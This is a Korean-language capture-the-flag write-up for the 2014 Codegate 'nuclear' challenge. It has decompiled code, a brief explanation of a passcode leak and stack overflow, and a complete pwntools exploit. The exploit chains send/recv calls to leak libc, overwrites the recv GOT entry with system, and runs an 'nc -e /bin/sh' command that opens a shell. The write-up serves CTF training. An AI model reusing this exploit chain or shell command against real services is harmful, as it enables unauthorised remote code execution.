2014 Codegate nuclear

32비트 바이너리고 소켓짜놨다. 포트는 1129로 열어놨다. 보호기법은 Partial RELRO, NX만 걸려있다.

int __cdecl sub_8048C65(void *arg)
{
  int result; // eax
  pthread_t newthread; // [esp+1Ch] [ebp-23Ch]
  char s1; // [esp+20h] [ebp-238h]
  int v4; // [esp+220h] [ebp-38h]
  char v5[4]; // [esp+224h] [ebp-34h]
  char s; // [esp+228h] [ebp-30h]
  int v7; // [esp+248h] [ebp-10h]
  FILE *stream; // [esp+24Ch] [ebp-Ch]

  *v5 = 0;
  v4 = 0;
  memset(&s, 0, 0x20u);
  stream = fopen("THIS_IS_NOT_KEY_JUST_PASSCODE", "r");
  if ( !stream )
  {
    puts("opening passcode error!");
    exit(0);
  }
  fread(&s, 0x20u, 1u, stream);
  fclose(stream);
  sub_8048A0D(arg, "\n\n:: Welcome to the Nuclear Control System ::\n\n");
  while ( 1 )
  {
    memset(&s1, 0, 0x200u);
    sub_8048A0D(arg, "> ");
    result = sub_8048A6F(arg, &s1, 0x200u);
    v7 = result;
    if ( result <= 0 )
      break;
    result = strncmp(&s1, "quit", 4u);
    if ( !result )
      break;
    if ( !strncmp(&s1, "target", 6u) )
    {
      sub_8048A0D(arg, "[+] Enter coordinate of target, (Latitude/Longitude)\n---> ");
      memset(&s1, 0, 0x200u);
      result = sub_8048A6F(arg, &s1, 0x200u);
      v7 = result;
      if ( result <= 0 )
        return result;
      __isoc99_sscanf(&s1, "%f/%f", v5, &v4);
      sub_8048A0D(arg, "[+] Target coordinate setting completed.\n");
    }
    else if ( !strncmp(&s1, "launch", 6u) )
    {
      sub_8048A0D(arg, "[+] Enter the passcode to launch the nuclear : ");
      memset(&s1, 0, 0x200u);
      result = sub_8048A6F(arg, &s1, 0x200u);
      v7 = result;
      if ( result <= 0 )
        return result;
      if ( strcmp(&s, &s1) )
        return sub_8048A0D(arg, "[!] the passcode is not correct.\n");
      memset(&s1, 0, 0x200u);
      sub_8048A0D(arg, "[+] Correct passcode!\n");
      pthread_create(&newthread, 0, sub_8048B9C, arg);
      pthread_join(newthread, 0);
    }
    else
    {
      sub_8048A0D(arg, "[!] Unknown command : %s\n", &s1);
    }
  }
  return result;
}

s에 있는 값을 leak해야해서 v4,v5값을 채워주고 leak해주면 된다. 그러면 passcode알 수 있고 스레드 함수 내부에 start_routine 에서 취약점 터지는데 여기서 체이닝해주고 리버스쉘 열어주면 된다.

exploit.py

from pwn import *

context.arch = 'i386'
context.log_level = 'debug'
e = ELF('./nuclear')
p = remote('localhost',1129)
libc = ELF('/lib/i386-linux-gnu/libpthread.so.0')
libc2 = ELF('/lib/i386-linux-gnu/libc.so.6')
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
p4r = 0x0804917c # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
start_routine = 0x8048b5b

sla('>','target')
sla('--->','0.1/0.1')
sa('>','A'*511 + 'B')
p.recvuntil('B') + p.recv(8)
passcode = p.recv(30).replace('\n','')
log.info('passcode : ' + passcode)
sla('>','launch')
sla(': ',passcode)

payload = 'A'*0x20c + 'A'*4
payload += p32(e.plt['send']) + p32(p4r) + p32(4) + p32(e.got['send']) + p32(4) + p32(0)
payload += p32(e.plt['recv']) + p32(p4r) + p32(4) + p32(e.bss()) + p32(30) + p32(0)
#payload += p32(start_routine)
payload += p32(e.plt['recv']) + p32(p4r) + p32(4) + p32(e.got['recv']) + p32(4) + p32(0)
payload += p32(e.plt['recv']) + 'A'*4 + p32(e.bss())
p.sendafter('100',payload)

send = u32(p.recvuntil('\xf7')[-4:])
libc_base = send - libc.symbols['send']
system = send - 0x18a760
log.info('libc : ' + hex(libc_base))

p.send('nc -lvp 5555 -e /bin/sh\x00')

p.sendline(p32(system))

p.interactive()